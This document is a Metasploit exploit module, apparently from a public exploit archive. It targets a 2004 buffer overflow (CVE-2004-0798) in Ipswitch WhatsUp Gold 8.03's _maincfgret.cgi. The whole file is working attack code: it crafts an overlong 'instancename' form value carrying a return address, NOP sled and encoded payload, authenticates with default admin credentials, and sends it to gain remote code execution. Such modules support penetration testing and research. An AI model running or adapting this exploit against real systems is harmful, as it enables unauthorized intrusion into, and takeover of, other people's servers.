Ipswitch WhatsUp Gold 8.03 - Buffer Overflow



##

# $Id: ipswitch_wug_maincfgret.rb 9820 2010-07-14 13:59:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    # [*] x.x.x.x WhatsUp_Gold/8.0 ( 401-Basic realm="WhatsUp Gold" )
    HttpFingerprint = { :pattern => [ /WhatsUp/ ] }

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Ipswitch WhatsUp Gold 8.03 Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By
                posting a long string for the value of 'instancename' in the _maincfgret.cgi
                script an attacker can overflow a buffer and execute arbitrary code on the system.
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9820 $',
            'References'     =>
                [
                    ['CVE', '2004-0798'],
                    ['OSVDB', '9177'],
                    ['BID', '11043'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 500,
                    'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
                    'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'WhatsUP Gold 8.03 Universal', { 'Ret' => 0x6032e743 } ], # whatsup.dll
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Aug 25 2004'))

        register_options(
            [
                Opt::RPORT(80),
                OptString.new('HTTPUSER', [ false, 'The username to authenticate as', 'admin']),
                OptString.new('HTTPPASS', [ false, 'The password to authenticate as', 'admin']),
            ], self.class )
    end

    def exploit
        c = connect

        num = rand(65535).to_s
        user_pass = "#{datastore['HTTPUSER']}" + ":" + "#{datastore['HTTPPASS']}"

        req   = "page=notify&origname=&action=return&type=Beeper&instancename="
        req  << rand_text_alpha_upper(811, payload_badchars) + "\xeb\x06"
        req  << make_nops(2) + [target.ret].pack('V') + make_nops(10) + payload.encoded
        req  << "&beepernumber=&upcode=" + num + "*&downcode="+ num + "*&trapcode=" + num + "*&end=end"

        print_status("Trying target %s..." % target.name)
        res = send_request_cgi({
            'uri'          => '/_maincfgret.cgi',
            'method'       => 'POST',
            'content-type' => 'application/x-www-form-urlencoded',
            'data'         => req,
            'headers'      =>
            {
                'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
            }
        }, 5)

        handler
    end

end